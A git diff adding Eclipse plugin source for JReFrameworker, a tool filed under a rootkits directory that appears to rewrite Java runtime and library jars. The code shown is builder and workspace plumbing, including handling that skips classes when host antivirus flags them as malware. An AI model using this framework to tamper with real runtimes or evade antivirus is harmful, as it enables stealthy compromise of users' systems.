Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/Activator.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/Activator.java new file mode 100644 index 0000000..32f6d14 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/Activator.java @@ -0,0 +1,50 @@ +package com.jreframeworker; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "com.jreframeworker"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/AddRemoveJReFrameworkerNatureHandler.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/AddRemoveJReFrameworkerNatureHandler.java new file mode 100644 index 0000000..d31de13 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/AddRemoveJReFrameworkerNatureHandler.java @@ -0,0 +1,72 @@ +package com.jreframeworker.builder; + +import java.util.Iterator; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.ui.handlers.HandlerUtil; + +public class AddRemoveJReFrameworkerNatureHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + ISelection selection = HandlerUtil.getCurrentSelection(event); + if (selection instanceof IStructuredSelection) { + for (Iterator it = ((IStructuredSelection) selection).iterator(); it.hasNext();) { + Object element = it.next(); + IProject project = null; + if (element instanceof IProject) { + project = (IProject) element; + } else if (element instanceof IAdaptable) { + project = (IProject) ((IAdaptable) element).getAdapter(IProject.class); + } + if (project != null) { + try { + toggleNature(project); + } catch (CoreException e) { + // TODO log something + throw new ExecutionException("Failed to toggle nature", e); + } + } + } + } + + return null; + } + + /** + * Toggles sample nature on a project + * + * @param project to have sample nature added or removed + */ + private void toggleNature(IProject project) throws CoreException { + IProjectDescription description = project.getDescription(); + String[] natures = description.getNatureIds(); + + for (int i = 0; i < natures.length; ++i) { + if (JReFrameworkerNature.NATURE_ID.equals(natures[i])) { + // Remove the nature + String[] newNatures = new String[natures.length - 1]; + System.arraycopy(natures, 0, newNatures, 0, i); + System.arraycopy(natures, i + 1, newNatures, i, natures.length - i - 1); + description.setNatureIds(newNatures); + project.setDescription(description, null); + return; + } + } + + // add the nature + String[] newNatures = new String[natures.length + 1]; + System.arraycopy(natures, 0, newNatures, 0, natures.length); + newNatures[natures.length] = JReFrameworkerNature.NATURE_ID; + description.setNatureIds(newNatures); + project.setDescription(description, null); + } + +} \ No newline at end of file diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerBuilder.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerBuilder.java new file mode 100644 index 0000000..4e2c66b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerBuilder.java @@ -0,0 +1,392 @@ +package com.jreframeworker.builder; + +import java.io.File; +import java.io.IOException; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResourceDelta; +import org.eclipse.core.resources.IResourceDeltaVisitor; +import org.eclipse.core.resources.IncrementalProjectBuilder; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jdt.core.ICompilationUnit; +import org.eclipse.jdt.core.IJavaModelMarker; +import org.eclipse.jdt.core.JavaCore; +import org.objectweb.asm.tree.ClassNode; + +import com.jreframeworker.core.BuildFile; +import com.jreframeworker.core.BuilderUtils; +import com.jreframeworker.core.IncrementalBuilder; +import com.jreframeworker.core.JReFrameworkerProject; +import com.jreframeworker.core.IncrementalBuilder.DeltaSource; +import com.jreframeworker.core.IncrementalBuilder.IncrementalBuilderException; +import com.jreframeworker.core.IncrementalBuilder.DeltaSource.Delta; +import com.jreframeworker.engine.utils.BytecodeUtils; +import com.jreframeworker.log.Log; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +public class JReFrameworkerBuilder extends IncrementalProjectBuilder { + + public static final String BUILDER_ID = "com.jreframeworker.JReFrameworkerBuilder"; + + private IncrementalBuilder incrementalBuilder; + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.internal.events.InternalBuilder#build(int,java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + @SuppressWarnings("rawtypes") + protected IProject[] build(int kind, Map args, IProgressMonitor monitor) throws CoreException { + if(incrementalBuilder == null){ + JReFrameworkerProject jrefProject = getJReFrameworkerProject(); + if(jrefProject != null){ + incrementalBuilder = new IncrementalBuilder(getJReFrameworkerProject()); + } else { + Log.warning(getProject().getName() + " is not a valid JReFrameworker project!"); + return null; + } + } + + if (kind == FULL_BUILD) { + fullBuild(monitor); + } else { + IResourceDelta delta = getDelta(getProject()); + if (delta == null) { + fullBuild(monitor); + } else { + incrementalBuild(delta, monitor); + } + } + + return null; + } + + protected void clean(IProgressMonitor monitor) throws CoreException { + // reset the incremental builder and purge files and build state from the project + JReFrameworkerProject jrefProject = getJReFrameworkerProject(); + if(jrefProject != null){ + monitor.beginTask("Cleaning: " + jrefProject.getProject().getName(), 1); + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) Log.info("Cleaning: " + jrefProject.getProject().getName()); + + incrementalBuilder = new IncrementalBuilder(jrefProject); + + // clear the Java compiler error markers (these will be fixed and restored if they remain after building phases) +// jrefProject.getProject().deleteMarkers(JavaCore.ERROR, true, IProject.DEPTH_INFINITE); + jrefProject.getProject().deleteMarkers(IJavaModelMarker.JAVA_MODEL_PROBLEM_MARKER, true, IProject.DEPTH_INFINITE); + + jrefProject.disableJavaBuilder(); + try { + jrefProject.clean(); + jrefProject.restoreOriginalClasspathEntries(); + } catch (Exception e) { + Log.error("Error cleaning " + jrefProject.getProject().getName(), e); + } + jrefProject.enableJavaBuilder(); + + this.forgetLastBuiltState(); + jrefProject.refresh(); + + monitor.worked(1); + } else { + Log.warning(getProject().getName() + " is not a valid JReFrameworker project!"); + } + } + + protected void fullBuild(final IProgressMonitor monitor) throws CoreException { + JReFrameworkerProject jrefProject = getJReFrameworkerProject(); + monitor.beginTask("Full Build: " + jrefProject.getProject().getName(), 1); + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) Log.info("Full Build: " + jrefProject.getProject().getName()); + + try { + // discover class files to process and filter out + // the compilation units with build errors + Set sourcesToProcess = new HashSet(); + ICompilationUnit[] compilationUnits = BuilderUtils.getSourceCompilationUnits(jrefProject.getJavaProject()); + for(ICompilationUnit compilationUnit : compilationUnits){ + try { + File sourceFile = compilationUnit.getCorrespondingResource().getLocation().toFile().getCanonicalFile(); + File classFile = BuilderUtils.getCorrespondingClassFile(jrefProject, sourceFile); + if(classFile.exists()){ + if(!BuilderUtils.hasSevereProblems(compilationUnit)){ + try { + ClassNode classNode = BytecodeUtils.getClassNode(classFile); + if(BuilderUtils.hasTopLevelAnnotation(classNode)){ + // in a full build all sources are added deltas + DeltaSource javaSource = new DeltaSource(sourceFile, sourceFile, classNode, Delta.ADDED); + sourcesToProcess.add(javaSource); + DeltaSource classSource = new DeltaSource(classFile, sourceFile, classNode, Delta.ADDED); + sourcesToProcess.add(classSource); + } + } catch (Exception e){ + if(e.getMessage() != null && (e.getMessage().toUpperCase().contains("VIRUS") || e.getMessage().toUpperCase().contains("MALWARE"))){ + Log.warning("Ignoring class [" + classFile.getName() + "] because it was detected as malware by host machine and could not be accessed."); + } else { + throw e; + } + } + } + } + } catch (IOException e) { + throw new RuntimeException("Error resolving compilation units", e); + } + } + + // build the project + if(!sourcesToProcess.isEmpty()){ + incrementalBuilder.build(sourcesToProcess, monitor); + updateBuildClasspath(jrefProject); + } + } catch (Exception e) { + Log.error("Error Building JReFrameworker Project", e); + } + } + + /** + * Incrementally builds the project given a set of file changes + * + * Reference: http://help.eclipse.org/mars/index.jsp?topic=%2Forg.eclipse.platform.doc.isv%2Fguide%2FresAdv_builders.htm + * + * @param delta + * @param monitor + * @throws CoreException + */ + protected void incrementalBuild(IResourceDelta delta, IProgressMonitor monitor) throws CoreException { + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) Log.info("Incremental Build"); + JReFrameworkerProject jrefProject = incrementalBuilder.getJReFrameworkerProject(); + BuildDeltaVisitor deltaVisitor = new BuildDeltaVisitor(jrefProject); + delta.accept(deltaVisitor); + if(!deltaVisitor.getDeltaBuildFilesToProcess().isEmpty()){ + // TODO: this could be improved to just detect changes to individual libraries...but too much work for now... + // changes to the build file require a full build + clean(monitor); + } else { + // process incremental changes + // changes could be to source code, which will change the class files + // changes could also be to class files only (if a build error was resolved but the source was not touched) + Set sourceDeltas = deltaVisitor.getDeltaSourcesToProcess(); + if(!sourceDeltas.isEmpty()){ + try { + IncrementalBuilder.PostBuildAction postBuildAction = incrementalBuilder.build(sourceDeltas, monitor); + if(postBuildAction == IncrementalBuilder.PostBuildAction.UPDATE_CLASSPATH){ + updateBuildClasspath(jrefProject); + } else if(postBuildAction == IncrementalBuilder.PostBuildAction.CLEAN_REBUILD) { + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()){ + Log.info("Rebuilding"); + } + clean(monitor); + } + } catch (IncrementalBuilderException e) { + Log.error("Error incrementally building JReFrameworker project", e); + } + } + } + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()){ + Log.info("Incremental build complete"); + } + } + + private void updateBuildClasspath(JReFrameworkerProject jrefProject) throws CoreException { + // make sure we are working with the latest files + jrefProject.refresh(); + + // remove the java nature to prevent the Java builder from running until we are ready + // if the build phase directory is null or does not exist then nothing was done during the phase + File buildDirectory = jrefProject.getBuildDirectory(); + if(buildDirectory.exists()){ + jrefProject.disableJavaBuilder(); + for(File file : buildDirectory.listFiles()){ + if(file.getName().endsWith(".jar")){ + File modifiedLibrary = file; + try { + jrefProject.updateProjectLibrary(modifiedLibrary.getName(), modifiedLibrary); + } catch (IOException e) { + Log.warning("Unable to update project classpath", e); + } + } + } + // restore the java nature + jrefProject.enableJavaBuilder(); + jrefProject.refresh(); + } + + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) { + Log.info("Updated classpath"); + } + } + + private static class BuildDeltaVisitor implements IResourceDeltaVisitor { + + private static class DeltaBuildFile { + private File buildFile; + private IResourceDelta delta; + + public DeltaBuildFile(File buildFile, IResourceDelta delta) { + this.buildFile = buildFile; + this.delta = delta; + } + + @SuppressWarnings("unused") + public File getBuildFile(){ + return buildFile; + } + + @SuppressWarnings("unused") + public IResourceDelta getDelta(){ + return delta; + } + } + + private JReFrameworkerProject jrefProject; + private Set deltaSourcesToProcess = new HashSet(); + private Set buildFilesToProcess = new HashSet(); + private Set resolvedFiles = new HashSet(); + + public BuildDeltaVisitor(JReFrameworkerProject jrefProject){ + this.jrefProject = jrefProject; + ICompilationUnit[] compilationUnits = BuilderUtils.getSourceCompilationUnits(jrefProject.getJavaProject()); + for(ICompilationUnit compilationUnit : compilationUnits){ + try { + File sourceFile = compilationUnit.getCorrespondingResource().getLocation().toFile().getCanonicalFile(); + File classFile = BuilderUtils.getCorrespondingClassFile(jrefProject, sourceFile); + if(classFile.exists()){ + if(!BuilderUtils.hasSevereProblems(compilationUnit)){ + try { + ClassNode classNode = BytecodeUtils.getClassNode(classFile); + if(BuilderUtils.hasTopLevelAnnotation(classNode)){ + resolvedFiles.add(sourceFile); + resolvedFiles.add(classFile); + } + } catch (Exception e){ + checkAntivirusInterference(classFile, e); + } + } + } + } catch (Exception e) { + throw new IllegalArgumentException("Error resolving compilation units", e); + } + } + } + + public Set getDeltaSourcesToProcess(){ + return deltaSourcesToProcess; + } + + public Set getDeltaBuildFilesToProcess(){ + return buildFilesToProcess; + } + + @Override + public boolean visit(IResourceDelta delta) throws CoreException { + try { + String relativeResourcePath = delta.getResource().getProjectRelativePath().toOSString(); + // note: the relative project path itself would be an empty string relative to the project + if(!relativeResourcePath.isEmpty()){ + String resourcePath = jrefProject.getProject().getLocation().toFile().getCanonicalPath() + File.separator + relativeResourcePath; + File resource = new File(resourcePath); + if((resource.exists() && resource.isFile()) || delta.getKind() == IResourceDelta.REMOVED){ + if(resource.getName().equals(BuildFile.XML_BUILD_FILENAME)){ + buildFilesToProcess.add(new DeltaBuildFile(resource, delta)); + } else if(resource.getName().endsWith(".java") || resource.getName().endsWith(".class")){ + // convert IResourceDelta to SourceDelta.Delta types + Delta sourceDeltaType = Delta.ADDED; + switch (delta.getKind()) { + case IResourceDelta.ADDED: + sourceDeltaType = Delta.ADDED; + break; + case IResourceDelta.CHANGED: + sourceDeltaType = Delta.MODIFIED; + break; + case IResourceDelta.REMOVED: + sourceDeltaType = Delta.REMOVED; + break; + } + + // construct DeltaSource objects for each case + switch (sourceDeltaType) { + case ADDED: + case MODIFIED: + if(resolvedFiles.contains(resource)){ + try { + if (resource.getName().endsWith(".java")) { + File sourceFile = resource; + File classFile = BuilderUtils.getCorrespondingClassFile(jrefProject, sourceFile); + ClassNode classNode = BytecodeUtils.getClassNode(classFile); + deltaSourcesToProcess.add(new IncrementalBuilder.DeltaSource(resource, sourceFile, classNode, sourceDeltaType)); + } else if (resource.getName().endsWith(".class")) { + File classFile = resource; + ClassNode classNode = BytecodeUtils.getClassNode(classFile); + File sourceFile = BuilderUtils.getCorrespondingSourceFile(jrefProject, classFile); + deltaSourcesToProcess.add(new IncrementalBuilder.DeltaSource(resource, sourceFile, classNode, sourceDeltaType)); + } + } catch (Exception e) { + throw new IllegalArgumentException("Unable to process source: " + resource.getName(), e); + } + } + break; + case REMOVED: + // a removed source won't have a source file or class file, so it won't be in the resolved files + try { + if (resource.getName().endsWith(".java")) { + File sourceFile = resource; + deltaSourcesToProcess.add(new IncrementalBuilder.DeltaSource(resource, sourceFile, sourceDeltaType)); + } else if (resource.getName().endsWith(".class")) { + File classFile = resource; + File sourceFile = BuilderUtils.getCorrespondingSourceFile(jrefProject, classFile); + deltaSourcesToProcess.add(new IncrementalBuilder.DeltaSource(resource, sourceFile, sourceDeltaType)); + } + } catch (Exception e){ + throw new IllegalArgumentException("Unable to process source: " + resource.getName(), e); + } + break; + } + } + } + } + } catch (Exception e){ + // not a valid file, skip + Log.warning("Unable to process resource: " + delta.getResource().getName(), e); + } + + // always returns true so the resource delta's children should be visited + // returning false skips the resource's children + return true; + } + } + + /** + * Returns the JReFrameworker project to build or clean, if the project is invalid returns null + * @return + */ + private JReFrameworkerProject getJReFrameworkerProject(){ + IProject project = getProject(); + try { + if(project.isOpen() && project.exists() && project.hasNature(JavaCore.NATURE_ID) && project.hasNature(JReFrameworkerNature.NATURE_ID)){ + return new JReFrameworkerProject(project); + } + } catch (CoreException e) {} + return null; + } + + private static void checkAntivirusInterference(File classFile, Exception e) throws Exception { + if(e.getMessage() != null && (e.getMessage().toUpperCase().contains("VIRUS") || e.getMessage().toUpperCase().contains("MALWARE"))){ + Log.warning("Ignoring class [" + classFile.getName() + "] because it was detected as malware by host machine and could not be accessed."); + } else { + throw e; + } + } + +// private void addClassFiles(Engine engine, File f) throws IOException { +// if (f.isDirectory()){ +// for (File f2 : f.listFiles()){ +// addClassFiles(engine, f2); +// } +// } else if(f.getName().endsWith(".class")){ +// engine.addUnprocessed(Files.readAllBytes(f.toPath()), true); +// } +// } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerNature.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerNature.java new file mode 100644 index 0000000..eeb0c0d --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/builder/JReFrameworkerNature.java @@ -0,0 +1,80 @@ +package com.jreframeworker.builder; + +import org.eclipse.core.resources.ICommand; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.resources.IProjectNature; +import org.eclipse.core.runtime.CoreException; + +public class JReFrameworkerNature implements IProjectNature { + + /** + * ID of this project nature + */ + public static final String NATURE_ID = "com.jreframeworker.JReFrameworkerNature"; + + private IProject project; + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.resources.IProjectNature#configure() + */ + public void configure() throws CoreException { + IProjectDescription desc = project.getDescription(); + ICommand[] commands = desc.getBuildSpec(); + + for (int i = 0; i < commands.length; ++i) { + if (commands[i].getBuilderName().equals(JReFrameworkerBuilder.BUILDER_ID)) { + return; + } + } + + ICommand[] newCommands = new ICommand[commands.length + 1]; + System.arraycopy(commands, 0, newCommands, 0, commands.length); + ICommand command = desc.newCommand(); + command.setBuilderName(JReFrameworkerBuilder.BUILDER_ID); + newCommands[newCommands.length - 1] = command; + desc.setBuildSpec(newCommands); + project.setDescription(desc, null); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.resources.IProjectNature#deconfigure() + */ + public void deconfigure() throws CoreException { + IProjectDescription description = getProject().getDescription(); + ICommand[] commands = description.getBuildSpec(); + for (int i = 0; i < commands.length; ++i) { + if (commands[i].getBuilderName().equals(JReFrameworkerBuilder.BUILDER_ID)) { + ICommand[] newCommands = new ICommand[commands.length - 1]; + System.arraycopy(commands, 0, newCommands, 0, i); + System.arraycopy(commands, i + 1, newCommands, i, commands.length - i - 1); + description.setBuildSpec(newCommands); + project.setDescription(description, null); + return; + } + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.resources.IProjectNature#getProject() + */ + public IProject getProject() { + return project; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.resources.IProjectNature#setProject(org.eclipse.core.resources.IProject) + */ + public void setProject(IProject project) { + this.project = project; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/RuntimeUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/RuntimeUtils.java new file mode 100644 index 0000000..a1568d8 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/RuntimeUtils.java @@ -0,0 +1,126 @@ +package com.jreframeworker.common; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; + +import org.eclipse.jdt.core.IClasspathEntry; +import org.eclipse.jdt.core.JavaCore; +import org.eclipse.jdt.core.JavaModelException; +import org.eclipse.jdt.launching.IVMInstall; +import org.eclipse.jdt.launching.JavaRuntime; +import org.eclipse.jdt.launching.LibraryLocation; + +import com.jreframeworker.core.JReFrameworkerProject; + +public class RuntimeUtils { + +// public static File getDefaultRuntime() throws Exception { +// IVMInstall vmInstall = JavaRuntime.getDefaultVMInstall(); +// LinkedList libraries = new LinkedList(); +// for (LibraryLocation element : JavaRuntime.getLibraryLocations(vmInstall)) { +// libraries.add(JavaCore.newLibraryEntry(element.getSystemLibraryPath(), null, null).getPath().toFile().getCanonicalFile()); +// } +// Log.info(libraries.toString()); +// return findJavaRuntimeJar(libraries.toArray(new File[libraries.size()])); +// } +// +// public static File findJavaRuntimeJar(File... files) throws Exception { +// for (File file : files) { +// if (file.getName().equals("rt.jar")) { +// return file; +// } +// } +// throw new Exception("Could not located default runtime!"); +// } + + public static File getClasspathJar(String targetJarName, JReFrameworkerProject jrefProject) throws IOException, JavaModelException { + for(IClasspathEntry classpathEntry : jrefProject.getJavaProject().getRawClasspath()){ + if(classpathEntry.getEntryKind() == IClasspathEntry.CPE_LIBRARY){ + File jar = classpathEntry.getPath().toFile().getCanonicalFile(); + if(jar.getName().equals(targetJarName)){ + if(!jar.exists()){ + // path may have been relative, so try again to resolve path relative to project directory + String relativePath = jar.getAbsolutePath(); + String projectName = jrefProject.getProject().getName(); + String projectRoot = File.separator + projectName; + relativePath = relativePath.substring(relativePath.indexOf(projectRoot) + projectRoot.length()); + jar = jrefProject.getProject().getFile(relativePath).getLocation().toFile(); + if(!jar.exists()){ + // if jar still doesn't exist match any jar in the project with the same name + jar = jrefProject.getProject().getFile(targetJarName).getLocation().toFile(); + } + } + return jar; + } + } + } + return getRuntimeJar(targetJarName); + } + + public static boolean isRuntimeJar(File jar) throws IOException { + IVMInstall vmInstall = JavaRuntime.getDefaultVMInstall(); + LibraryLocation[] locations = JavaRuntime.getLibraryLocations(vmInstall); + for (LibraryLocation library : locations) { + File runtime = JavaCore.newLibraryEntry(library.getSystemLibraryPath(), null, null).getPath().toFile().getCanonicalFile(); + if(runtime.equals(jar.getCanonicalFile())){ + return true; + } + } + return false; + } + + public static File getRuntimeJar(String jarName) throws IOException { + IVMInstall vmInstall = JavaRuntime.getDefaultVMInstall(); + LibraryLocation[] locations = JavaRuntime.getLibraryLocations(vmInstall); + for (LibraryLocation library : locations) { + File runtime = JavaCore.newLibraryEntry(library.getSystemLibraryPath(), null, null).getPath().toFile().getCanonicalFile(); + if(runtime.getName().equals(jarName)){ + return runtime; + } + } + return null; + } + + // modified from http://rosettacode.org/wiki/Find_common_directory_path#Java + // a helper method for finding the common parent of a set of files + public static File commonDirectory(File... files) throws IOException { + String[] paths = new String[files.length]; + for (int i = 0; i < files.length; i++) { + if (files[i].isDirectory()) { + paths[i] = files[i].getCanonicalPath(); + } else { + paths[i] = files[i].getParentFile().getCanonicalPath(); + } + } + String commonPath = ""; + String[][] folders = new String[paths.length][]; + for (int i = 0; i < paths.length; i++) { + folders[i] = paths[i].split(File.separator); + } + for (int j = 0; j < folders[0].length; j++) { + String thisFolder = folders[0][j]; + boolean allMatched = true; + for (int i = 1; i < folders.length && allMatched; i++) { + if (folders[i].length < j) { + allMatched = false; + break; + } + // otherwise + allMatched &= folders[i][j].equals(thisFolder); + } + if (allMatched) { + commonPath += thisFolder + File.separatorChar; + } else { + break; + } + } + return new File(commonPath); + } + + // helper method to copy a file from source to destination + public static void copyFile(File from, File to) throws IOException { + Files.copy(from.toPath(), to.toPath()); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/WorkspaceUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/WorkspaceUtils.java new file mode 100644 index 0000000..b941ed1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/common/WorkspaceUtils.java @@ -0,0 +1,104 @@ +package com.jreframeworker.common; + +import java.io.File; +import java.net.URI; + +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.filesystem.IFileStore; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IWorkspace; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Path; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.MessageBox; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.IDE; + +import com.jreframeworker.log.Log; + +/** + * Helper class for dealing with Eclipse workspaces + * + * @author Ben Holland + */ +public class WorkspaceUtils { + + private WorkspaceUtils() {} + + /** + * Returns a project in the workspace for the given project name + * @param projectName + * @return + */ + public static IProject getProject(String projectName){ + return ResourcesPlugin.getWorkspace().getRoot().getProject(projectName); + } + + /** + * Converts a File to an Eclipse IFile + * Source: http://stackoverflow.com/questions/960746/how-to-convert-from-file-to-ifile-in-java-for-files-outside-the-project + * + * @param file + * @return + */ + public static IFile getFile(File file) { + IWorkspace workspace = ResourcesPlugin.getWorkspace(); + IPath location = Path.fromOSString(file.getAbsolutePath()); + IFile iFile = workspace.getRoot().getFileForLocation(location); + return iFile; + } + + /** + * Converts an IFile to a Java File + * + * @param file + * @return + * @throws CoreException + */ + public static File getFile(IFile iFile) throws CoreException { + URI uri; + + // get the file uri, accound for symbolic links + if(!iFile.isLinked()){ + uri = iFile.getLocationURI(); + } else { + uri = iFile.getRawLocationURI(); + } + + // get the native file using Eclipse File System + File file; + if(uri != null){ + file = EFS.getStore(uri).toLocalFile(0, new NullProgressMonitor()); + } else { + // Eclipse is weird...this last resort should work + file = new File(iFile.getFullPath().toOSString()); + } + + return file; + } + + public static void openFileInEclipseEditor(File file) { + if (file.exists() && file.isFile()) { + IFileStore fileStore = EFS.getLocalFileSystem().getStore(file.toURI()); + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + try { + IDE.openEditorOnFileStore(page, fileStore); + } catch (PartInitException e) { + Log.error("Could not display file: " + file.getAbsolutePath(), e); + } + } else { + MessageBox mb = new MessageBox(Display.getDefault().getActiveShell(), SWT.OK); + mb.setText("Alert"); + mb.setMessage("Could not find file: " + file.getAbsolutePath()); + mb.open(); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuildFile.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuildFile.java new file mode 100644 index 0000000..a5e5398 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuildFile.java @@ -0,0 +1,334 @@ +package com.jreframeworker.core; + +import java.io.File; +import java.io.IOException; +import java.util.HashSet; +import java.util.Set; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.OutputKeys; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerConfigurationException; +import javax.xml.transform.TransformerException; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.TransformerFactoryConfigurationError; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; + +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jdt.core.JavaModelException; +import org.w3c.dom.DOMException; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import com.jreframeworker.log.Log; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +public class BuildFile { + + public static final String XML_BUILD_FILENAME = "jreframeworker.xml"; + + private File jrefXMLFile; + + private BuildFile(File jrefXMLFile){ + this.jrefXMLFile = jrefXMLFile; + } + + /** + * A build file is equivalent to an object if it is representing the same file + */ + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((jrefXMLFile == null) ? 0 : jrefXMLFile.hashCode()); + return result; + } + + /** + * A build file is equivalent to an object if it is representing the same file + */ + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + BuildFile other = (BuildFile) obj; + if (jrefXMLFile == null) { + if (other.jrefXMLFile != null) + return false; + } else if (!jrefXMLFile.equals(other.jrefXMLFile)) + return false; + return true; + } + + /** + * A target is a jar that we want to modify + */ + public static abstract class Target { + private String name; + + public Target(String name){ + this.name = name; + } + + public String getName(){ + return name; + } + + public abstract boolean isRuntime(); + } + + /** + * For all practical purposes, we say a runtime target has a path + * and we know where it is absolutely or relative to the project + */ + public static class LibraryTarget extends Target { + + private String path; + + public LibraryTarget(String name, String path){ + super(name); + this.path = path; + } + + public String getLibraryPath(){ + return path; + } + + @Override + public boolean isRuntime() { + return false; + } + } + + /** + * For all practical purposes, we say a runtime target does not have a path + * since it is located depending on the current project runtime. + */ + public static class RuntimeTarget extends Target { + + public RuntimeTarget(String name) { + super(name); + } + + @Override + public boolean isRuntime() { + return true; + } + + } + + /** + * Returns a set of all the target jars in the xml file + * @param buildFile + * @return + * @throws SAXException + * @throws IOException + * @throws ParserConfigurationException + */ + public Set getTargets() throws SAXException, IOException, ParserConfigurationException { + DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); + Document doc = dBuilder.parse(jrefXMLFile); + doc.getDocumentElement().normalize(); + NodeList targets = doc.getElementsByTagName("target"); + Set results = new HashSet(); + for (int i = 0; i < targets.getLength(); i++) { + Element target = (Element) targets.item(i); + String name = target.getAttribute("name"); + if(!name.isEmpty()){ + Boolean runtime = false; + if(target.hasAttribute("runtime")){ + runtime = Boolean.parseBoolean(target.getAttribute("runtime")); + } + if(runtime){ + results.add(new RuntimeTarget(name)); + } else { + String path = target.getAttribute("path"); + path = path.replace(File.separatorChar, '/'); + results.add(new LibraryTarget(name, path)); + } + } + } + return results; + } + 